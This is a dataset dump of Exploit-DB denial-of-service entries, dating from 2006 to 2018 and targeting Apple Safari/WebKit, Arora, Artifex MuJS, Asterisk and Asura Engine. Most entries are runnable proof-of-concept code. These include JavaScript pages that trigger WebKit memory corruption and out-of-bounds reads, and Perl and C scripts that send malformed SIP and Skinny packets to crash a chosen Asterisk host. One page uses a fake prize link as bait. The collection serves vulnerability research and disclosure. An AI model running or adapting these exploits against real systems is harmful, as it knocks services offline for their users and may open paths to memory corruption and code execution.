deardaniel/secdata-raw huggingface dataset:
Exploit-DB #41931
Description: Apple Safari - Array concat Memory Corruption
Type: dos
Platform: multiple
Date: 2017-04-25
Author: Google Security Research

Exploit:
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1095

There is an out-of-bounds memcpy in Array.concat that can lead to memory corruption.

In builtins/ArrayPrototype.js, the function concatSlowPath calls a native method @appendMemcpy with a parameter resultIndex that is handled unsafely by the method. It calls JSArray::appendMemcpy, which calculates the memory size for the combined arrays as follows:

unsigned newLength = startIndex + otherLength;

If startIndex (resultIndex from concatSlowPath in JS) is very large, an integer overflow can occur, causing too small a buffer to be allocated, and copying to occur outside of the buffer.

It should be difficult to reach this state without a long execution time, because an array of length resultIndex needs to be allocated and copied before resultIndex is incremented, however if both arrays involved in the concatenation are of type ArrayWithUndecided JSArray::appendMemcpy returns true without copying, and resultIndex can be incremented with a low execution time.

Arrays of type ArrayWithUndecided are usually of length 0, however, it is possible to create one by calling Array.splice on an array with all undefined elements. This will cause an undefined Array of the delete length to be allocated, and then returned without it being written to, which would cause it to decide its type.

A minimal PoC is as follows, and a full PoC is attached.

var a = [];
a.length = 0xffffff00;

var b = a.splice(0, 0x100000); // Undecided array

var args = [];
args.length = 4094;
args.fill(b);

var q = [];
q.length = 0x1000;
q.fill(7);

var c = a.splice(0, 0xfffef); //Shorter undecided array

args[4094] = c;
args[4095] = q;


b.concat.apply(b, args);
-->

<html>
<body>
<script>

var a = [];
a.length = 0xffffff00;

var b = a.splice(0, 0x100000); // Undecided array

var args = [];
args.length = 4094;
args.fill(b);

var q = [];
q.length = 0x1000;
q.fill(7);

var c = a.splice(0, 0xfffef); //Shorter undecided array

args[4094] = c;
args[4095] = q;


b.concat.apply(b, args);

</script>
</body>
</html>
Exploit-DB #41742
Description: Apple Safari - Builtin JavaScript Allows Function.caller to be Used in Strict Mode
Type: dos
Platform: multiple
Date: 2017-03-27
Author: Google Security Research

Exploit:
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1032

If a builtin script in webkit is in strict mode, but then calls a function that is not strict, this function is allowed to call Function.caller and can obtain a reference to the strict function. This is inconsistent with the behavior when executing non-builtin scripts in Safari, and the behavior in other browsers, where having a single strict function on the call stack forbids calls to Function.caller up to and including the first call to a strict function. This difference allows several sensitive native functions, such as arrayProtoPrivateFuncAppendMemcpy to be called directly, without the JavaScript wrappers that provide type and length checks.

A minimal example of this issue is as follows, and a full example is attached.

var q;
function g(){
	q = g.caller;
	return 7;
}


var a = [1, 2, 3];
a.length = 4;
Object.defineProperty(Array.prototype, "3", {get : g});
[4, 5, 6].concat(a);
q(0x77777777, 0x77777777, 0);


I strongly recommend this issue be fixed by changing the behaviour of Function.caller in strict mode, versus making changes to the natives, as it likely causes many similar problems 
-->

<html>
<body>
<script>

var q;
function g(){
	//print("in g");
	//print(arguments.caller);
	//print(g.caller);
	q = g.caller;
	//print(g.caller);
	return 7;

}

var a = [1, 2, 3];

Object.defineProperty( Array.prototype, "1", { get : g} );


var a = [1, 2, 3];
a.length = 4;
Object.defineProperty(Array.prototype, "3", {get : g});

[4, 5, 6].concat(a);
alert(q);
q(0x7777, 0x7777, 0);

</script>
</body>
</html>
Exploit-DB #41743
Description: Apple Safari - Out-of-Bounds Read when Calling Bound Function
Type: dos
Platform: multiple
Date: 2017-03-27
Author: Google Security Research

Exploit:
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1033

There is an out-of-bounds read when reading the bound arguments array of a bound function. When Function.bind is called, the arguments to the call are transferred to an Array before they are passed to JSBoundFunction::JSBoundFunction. Since it is possible that the Array prototype has had a setter added to it, it is possible for user script to obtain a reference to this Array, and alter it so that the length is longer than the backing native butterfly array. Then when boundFunctionCall attempts to copy this array to the call parameters, it assumes the length is not longer than the allocated array (which would be true if it wasn't altered), and reads out of bounds.

This is likely exploitable, because the read values are treated as JSValues, so this issue can allow type confusion if the attacker controls any of the unallocated values that are read.

This issue is only in WebKit trunk and Safari preview, it hasn't made it to regular Safari releases yet.


A minimal PoC is as follows, and a full PoC is attached.


var ba;

function s(){
	ba = this;
}


function dummy(){
	alert("just a function");
}


Object.defineProperty(Array.prototype, "0", {set : s });
var f = dummy.bind({}, 1, 2, 3, 4);
ba.length = 100000;
f(1, 2, 3);
-->

<html>
<body>
<script>

var ba;

function s(){
	alert("in s");
	ba = this;
}


function g(){
	alert("in g");
	return 7;
}


function dummy(){
	alert("just a function");
}

alert("start");

try{
Object.defineProperty(Array.prototype, "0", {set : s, get : g});
var f = dummy.bind({}, 1, 2, 3, 4);
alert("ba" + ba);
ba.length = 100000;
f(1, 2, 3);
}catch(e){

	alert(e.message);

}

</script>
</body>
</html>
Exploit-DB #9454
Description: Apple Safari 4.0.2 - WebKit Parsing of Floating Point Numbers Buffer Overflow (PoC)
Type: dos
Platform: multiple
Date: 2009-08-18
Author: Leon Juranic

Exploit:
Three weeks ago, I coded a nice little browser fuzzer, and started 
playing with various browsers: IE, Firefox, Safari, Chrome, Opera... 

I found an interesting Safari crash after couple of hours of fuzzing.
It was a stack overflow (and a smile on my face). Since then, every now
and then I took some time to play with it. 

Today, I noticed that Apple updated Safari 4.0.2 to 4.0.3.
Among some other vulnerabilities, this vulnerability has also been fixed. 
The Apple announcement is available at
http://lists.apple.com/archives/security-announce/2009/Aug/msg00002.html.

Depends on the perspective, but from my own - Very Bad Luck. C'est la vie, 
things like this happen... Some bugs die young.

This simple and interesting vulnerability is located in WebKit's 
JavaScript code that parses floating point numbers. It can be triggered 
with script like this:

---------
<script>
var Overflow = "31337" + 0[PII_REDACTED][PII_REDACTED][PII_REDACTED]...;
</script>
---------

Or something like this...

---------
<img width=0[PII_REDACTED][PII_REDACTED]31337... src="31337.jpg">
---------

Play little bit with numbers to get a desirable return address, little 
bit of heap spraying, and it works. 


Regards,
Leon Juranic

# milw0rm.com [2009-08-18]
Exploit-DB #9071
Description: Apple Safari 4.x - JavaScript Reload Remote Crash
Type: dos
Platform: multiple
Date: 2009-07-02
Author: SkyOut

Exploit:
___________________________________________________________________________________

Apple Safari 4.x JavaScript Reload Denial of Service
___________________________________________________________________________________

Author   : Marcell 'SkyOut' Dietl, Achim Hoffmann
Email    : mail [at] marcell-dietl [dot] de
Vendor   : http://www.apple.com/
Product  : http://www.apple.com/safari/
Found    : 12.06.2009
Released : 01.07.2009

Tested on:
 - Safari 4.0 at Windows XP SP3
 - Safari 4.0.1 at Mac OS X 10.5.7
___________________________________________________________________________________
STEPS TO REPRODUCE

1) Create a HTML file with the following content:

+----------
| <html>
| <body>
| <script src="empty.js"></script>
| <script>
| try { crashSafari(); } catch(e) {
| setTimeout("location.reload();",42);
| prompt('apple culpa? comment:'); }
| </script>
| </body>
| </html>
+----------

2) Create an empty file called "empty.js" in the same directory.

3) Put both files into the WWW directory of your server.

4) Access the HTML file with your browser.
   - A popup will appear: Close it.
   - A popup will appear: Close it.
   - Crash.

5) On Windows:

+----------
| AppName: safari.exe      AppVer: 4.530.17.0      ModName: webkit.dll
| ModVer: 4.530.17.0       Offset: 00305f55
+----------

5) On Mac OS X:

+----------
| Process:         Safari [298]
| Path:            /Applications/Safari.app/Contents/MacOS/Safari
| Identifier:      com.apple.Safari
| Version:         4.0.1 (5530.18)
| Build Info:      WebBrowser-55301800~1
| Code Type:       X86 (Native)
| Parent Process:  launchd [163]
|
| Date/Time:       2009-07-01 00:58:48.144 +0200
| OS Version:      Mac OS X 10.5.7 (9J61)
| Report Version:  6
|
| Exception Type:  EXC_BAD_ACCESS (SIGBUS)
| Exception Codes: KERN_PROTECTION_FAILURE at 0x[PII_REDACTED]000002
|
| Thread 0 crashed with X86 Thread State (32-bit):
|   eax: 0x00000002  ebx: 0x900bac11  ecx: 0x00625eec  edx: 0x00000000
|   edi: 0x00625ec8  esi: 0x00000002  ebp: 0xbfffe778  esp: 0xbfffe5e0
|    ss: 0x0000001f  efl: 0x00010217  eip: 0x900bac74   cs: 0x00000017
|    ds: 0x0000001f   es: 0x0000001f   fs: 0x00000000   gs: 0x00000037
|   cr2: 0x00000002
+----------
___________________________________________________________________________________
Advisory  : http://marcell-dietl.de/index/adv_safari_4_x_js_reload_dos.php

Live Demo : http://marcell-dietl.de/index/demo_safari_4_x_js_reload_dos.html

Apple has been informed about the bug, but did not show any interest.
___________________________________________________________________________________
HAVING FUN WITH FULL DISCLOSURE SINCE 2006

# milw0rm.com [2009-07-02]
Exploit-DB #15558
Description: Apple Safari 5.02 - Stack Overflow Denial of Service
Type: dos
Platform: multiple
Date: 2010-11-16
Author: clshack

Exploit:
# Exploit Title: Safari 5.02 stack overflow [dos]
# Date:10/11/2010
# Author: clshack
# Software Link: http://www.apple.com/it/safari/download/
# Version:5.02
# Tested on: windows xp sp3 en
# CVE :

Browser crash:> 
<script>document.write('a')</script>
<script>document.write(document.body.innerHTML)</script>

--
> Alessio Dalla Piazza (Personal Blog: http://www.clshack.it)
Exploit-DB #41215
Description: Apple WebKit - 'HTMLKeygenElement' Type Confusion
Type: dos
Platform: multiple
Date: 2017-02-01
Author: Google Security Research

Exploit:
<!-- Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=999 -->

<keygen id="keygen_element" style="position:absolute; height: 100px; width: 100px;">
<script>
var range = document.caretRangeFromPoint(50, 50);
var shadow_tree_container = range.commonAncestorContainer;
shadow_tree_container.prepend("foo");
keygen_element.disabled = true;
</script>

<!--
What happens here:
1. caretRangeFromPoint() allows accessing (and modifying) userAgentShadowRoot from JavaScript
2. HTMLKeygenElement::shadowSelect() blindly casts the first child of the userAgentShadowRoot to HTMLSelectElement without checking the Node type.
-->
Exploit-DB #37518
Description: Arora Browser - Remote Denial of Service
Type: dos
Platform: multiple
Date: 2012-07-18
Author: t3rm!n4t0r

Exploit:
source: https://www.securityfocus.com/bid/54599/info

Arora Browser is prone to a remote denial-of-service vulnerability.

Attackers can exploit these issues to crash an application, which causes a denial-of-service condition. 

<html>
<head>
<title>Arora Browser Remote Denial of Service </title>
<body bgcolor="Grey">
<script type="text/javascript">
function loxians() {
    var buffer = "";
    for (var i = 0; i < 8000; i++) {
        buffer += "A";
    }
    var buffer2 = buffer;
    for (i = 0; i < 8000; i++) {
        buffer2 += buffer;
    }
    document.title = buffer2;
}
</script>
</head>
<body>
<center>
<br><h2><a href="javascript:loxians();">YOU HAVE WON 100,000$ ! CLICK HERE!!</a></font></h2>
</body>
</html>
Exploit-DB #43903
Description: Artifex MuJS 1.0.2 - Denial of Service
Type: dos
Platform: multiple
Date: 2018-01-28
Author: Andrea Sindoni

Exploit:
Hello,

I want to submit the following bug:

The js_strtod function in jsdtoa.c in Artifex MuJS through 1.0.2 has an
integer overflow because of incorrect exponent validation.

# Exploit Title: Integer signedness error leading to Out-of-bounds read
that causes crash
# Date: 2018-01-24
# Exploit Author: Andrea Sindoni - @invictus1306
# Vendor: Artifex (https://www.artifex.com/)
# Software Link: https://github.com/ccxvii/mujs
# Version: Mujs - 228719d087aa5e27dcd8627c4acf7273476bdbca
# Tested on: Linux
# CVE : CVE-2018-6191

Content of the poc file
$ cat poc.js
function pipo() {var 2e[PII_REDACTED]=[PII_REDACTED]23842366;}

Run it
$ mujs poc.js

Additional details about the bug:

Inside the function js_strtod, after this line
https://github.com/ccxvii/mujs/blob/81388eb40d29f10599ac30dde90e683a3c254375/jsdtoa.c#L714

exp = -exp;

the value of "exp" is still negative (cause integer declaration).

Fixed in commit 25821e6d74fab5fcc200fe5e818362e03e114428 (
http://git.ghostscript.com/?p=mujs.git;a=commit;h=25821e6d74fab5fcc200fe5e818362e03e114428
)
Exploit-DB #43904
Description: Artifex MuJS 1.0.2 - Integer Overflow
Type: dos
Platform: multiple
Date: 2018-01-28
Author: Andrea Sindoni

Exploit:
# Exploit Title: DoS caused by the interactive call between two functions
# Date: 2018-01-16
# Exploit Author: Andrea Sindoni - @invictus1306
# Vendor: Artifex (https://www.artifex.com/)
# Software Link: https://github.com/ccxvii/mujs
# Version: Mujs - 228719d087aa5e27dcd8627c4acf7273476bdbca
# Tested on: Linux
# CVE : CVE-2018-5759

Simple poc:
# python -c "print 'func%d'*80000" > poc.js
# mujs poc.js

Fixed in commit 4d45a96e57fbabf00a7378b337d0ddcace6f38c1 (
http://git.ghostscript.com/?p=mujs.git;a=commit;h=4d45a96e57fbabf00a7378b337d0ddcace6f38c1
)
Exploit-DB #2597
Description: Asterisk 1.0.12/1.2.12.1 - 'chan_skinny' Remote Heap Overflow (PoC)
Type: dos
Platform: multiple
Date: 2006-10-19
Author: Noam Rathaus

Exploit:
#!/usr/bin/perl
# Beyond Security
# Copyright Noam Rathaus <noamr@beyondsecurity.com>

#
# The following proof of concept causes the chan_skippy to crash in different locations and due to
# memory corruption as well as double free calls, this is based on the finding of
# Security-Assessment.com, and proves that the vulnerability is indeed exploitable and there...
#

use IO::Socket;
use strict;

my $target = "127.0.0.1";

my $remote = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $target, PeerPort => "2000");

unless ($remote) { die "cannot connect to skinny daemon on $target" }

my $packet = "A"x1000; #Causes *** glibc detected *** malloc(): memory corruption: 0x08175830 ***
my $packet = "\x30\xE0\x00\x00"."\x00\x00\x00\x00".("A"x1000); # *** glibc detected *** double free or corruption (!prev): 0x08184348 ***
my $packet = "\xE5\x03\x00\x00".("A"x996); # *** glibc detected *** double free or corruption (out): 0x08171740 ***
my $packet = "\xF0\xFF\xFF\xFF".("A"x996); # Program received signal SIGSEGV, Segmentation fault.
#[Switching to Thread [PII_REDACTED] (LWP 9909)]
#0xa76264cb in skinny_session (data=0x8183ee8) at chan_skinny.c:2896
#2896 memcpy(req, s->inbuf, letohl(*(int*)(s->inbuf))+8);

print $remote $packet;

# milw0rm.com [2006-10-19]
Exploit-DB #3407
Description: Asterisk 1.2.15/1.4.0 - Remote Denial of Service
Type: dos
Platform: multiple
Date: 2007-03-04
Author: fbffff

Exploit:
/*
this will cause asterisk to segfault,
the bug that this exploits has been patched in release 1.2.16  & 1.4.1

CLI>

Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread[PII_REDACTED] (LWP 2510)]
register_verify (p=0x81cf600, sin=0x4088e750, req=0x4088e760, uri=0x0)
    at chan_sip.c:8257
8257            while (*t && *t > ' ' && *t != ';')
(gdb) 


build:
gcc -o asterisk-sip-killer asterisk-sip-killer.c

run:
./asterisk-sip-killer -h <targethost>

*/
#include <stdio.h>
#include <string.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <errno.h>
#include <netdb.h>
#include <netinet/tcp.h>

#define SIP_UDP_PORT 5060

struct udp_session {	
	int sd;
	struct sockaddr_in saddr;
};

int make_udp(struct udp_session *p, char *remotehost, int port)
{
	int sd;
	int ret;
	struct sockaddr_in saddr;
	struct hostent *he;

	sd = socket(AF_INET,SOCK_DGRAM,0);

	if (sd == -1) {
		printf("error making socket\n");
		return -1;
	}

	he = gethostbyname(remotehost);
	
	saddr.sin_family = AF_INET;
	saddr.sin_port = htons(port);
	saddr.sin_addr.s_addr = inet_addr(remotehost);
	memset(&(saddr.sin_zero), '\0', 8);
	p->sd = sd;
	memcpy(&p->saddr,&saddr,sizeof(struct sockaddr_in));

	printf("udp socket ready\n");
	
	return 0;
}

void kill_asterisk(struct udp_session *sess)
{
	int ret;
	char *p =
		"REGISTER              \r\n"
		"Via: SIP/2.0/UDP 192.168.204.130:5060;branch=z9hG4bK1d97e14f\r\n"
		"Max-Forwards: 70\r\n"
		"From: <sip:666@192.168.204.130>;tag=as253946cf\r\n"
		"To: <sip:100@192.168.204.130>\r\n"
		"Call-ID: 7e64a49e5cf[PII_REDACTED]38050e43d3b@127.0.0.1\r\n"
		"CSeq: 104 REGISTER\r\n"
		"User-Agent: Asterisk PBX\r\n"
		"Expires: 120\r\n"
		"Contact: <sip:666@192.168.204.130>\r\n"
		"Event: registration\r\n"
		"Content-Length: 0\r\n";

	ret = sendto(sess->sd, p, strlen(p), 0,
	       (struct sockaddr *)&sess->saddr,
	       sizeof(struct sockaddr));

	if (ret) {	
		printf("You may have well shutdown a asterisk server\n");
	} else {
		printf("there was a issue sending the request\n");
		return;
	}
	return;
}
int main(int argc, char **argv)
{
	int i = 0;
	char *r_host = NULL;
	struct udp_session *connection_out;
	

	for (i=0;i<argc;i++) {
		if (!(strcmp(argv[i],"-h"))) {
                        printf("it looks like you want a host entry\n");
                        r_host = argv[i+1];
                        printf("r_host: %s\n", r_host);
                }
        }

	if (!r_host) {
		printf("umm you forgot the -h <host> option!\n");
		return 0;
	}

	if (!(connection_out = (struct udp_session *)malloc(sizeof(struct udp_session)))) {
		printf("malloc failed your computer sucks\n");
		return 0;
	}
	make_udp(connection_out, r_host, SIP_UDP_PORT);
	kill_asterisk(connection_out);	
	free(connection_out);
	return 0;
}

// milw0rm.com [2007-03-04]
Exploit-DB #3566
Description: Asterisk 1.2.16/1.4.1 - SIP INVITE Remote Denial of Service
Type: dos
Platform: multiple
Date: 2007-03-25
Author: MADYNES

Exploit:
#!/usr/bin/perl
# perl  asterisk-Invite.pl 192.168.1.104 5060 userX  192.168.1.2 5060 userY

use IO::Socket::INET;

die "Usage $0 <dst> <dport> <dusername> <src> <sport> <susername>" unless ($ARGV[5]);

 

$socket=new IO::Socket::INET->new(PeerPort=>$ARGV[1],

        Proto=>'udp',

        PeerAddr=>$ARGV[0]);


$msg="INVITE sip:$ARGV[2]\@$ARGV[0]:$ARGV[1] SIP/2.0\r\nVia: SIP/2.0/UDP $ARGV[3]:$ARGV[4];branch=01;rport\r\nTo: <sip:$ARGV[2]\@$ARGV[0]:$ARGV[1]>\r\nFrom:  <sip:$ARGV[3]:$ARGV[4]>;tag=01\r\nCall-ID: 01\@$ARGV[3]\r\nContent-Type: application/sdp\r\nCSeq: 01 INVITE\r\nContent-Length: 187\r\n\r\nv=0\r\no=root 25903 25903 IN IP4 $ARGV[3]\r\ns=session\r\nc=IN IP4 $ARGV[3]\r\nc=IN IP4 910.188.8.2\r\nt=0 0\r\nm=audio 13956 RTP/AVP 0 4 3 8 111 5 10 7 18 110 97 101\r\na=rtpmap:98 speex/16000\r\n\r\n";

$socket->send($msg);

# milw0rm.com [2007-03-25]
Exploit-DB #5749
Description: Asterisk 1.2.x - SIP channel driver / in pedantic mode Remote Crash
Type: dos
Platform: multiple
Date: 2008-06-05
Author: Armando Oliveira

Exploit:
#!/usr/bin/perl -w
###############


# asterisk AST-2008-008
# by armando.j.m.o@gmail.com
#AST-2008-008 - Remote Crash Vulnerability in SIP channel driver when run in pedantic mode

use Getopt::Std;
use IO::Socket;
use strict;

my %args;
getopts("h:p:", \%args);

if (!$args{h} || !$args{p}) { usage(); }


my $sock = IO::Socket::INET->new(
    Proto    => 'udp',
    PeerPort => $args{p},
    PeerAddr => $args{h},
) or die "Could not create socket: $!\n";

$sock->send('INVITE sip:1234@'.$args{h}.' SIP/2.0\n
CSeq: 2 INVITE') or die "Send error: $!\n";




sub usage {
    print STDERR
qq{ $0

Usage: $0 -h <host> -p <port>
        -h <host>       = host
        -p <port>       = port

Example:
        $0 -h target -p port


};

# milw0rm.com [2008-06-05]
Exploit-DB #30974
Description: Asterisk 1.x - BYE Message Remote Denial of Service
Type: dos
Platform: multiple
Date: 2008-01-02
Author: greyvoip

Exploit:
source: https://www.securityfocus.com/bid/27110/info

Asterisk is prone to a remote denial-of-service vulnerability.

Exploiting this issue allows remote attackers to cause the application to crash, effectively denying service to legitimate users. 

BYE sip:303@10.0.0.15 SIP/2.0
Via: SIP/2.0/UDP 10.0.0.100:7279;branch=z9hG4bK976ed70381c64bc6a5ec25b63f3df402
To: <sip:303@10.0.0.15>;tag=as664746ba
From: <sip:user@10.0.0.15>;tag=[PII_REDACTED]
Call-ID: 11f5ae5ba1e04a25a1184ff158654371
CSeq: 3 BYE
Max-Forwards: 70
Also: sip:303@10.0.0.15
Exploit-DB #30519
Description: Asura Engine Challenge B Query - Remote Stack Buffer Overflow
Type: dos
Platform: multiple
Date: 2007-08-22
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/25411/info

Asura Engine is prone to a remote stack-based buffer-overflow vulnerability because the application fails to bounds-check user-supplied data before copying it into an insufficiently sized buffer.

An attacker can exploit this issue to execute arbitrary code within the context of the affected application. Failed exploit attempts will result in a denial-of-service condition. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/30519.zip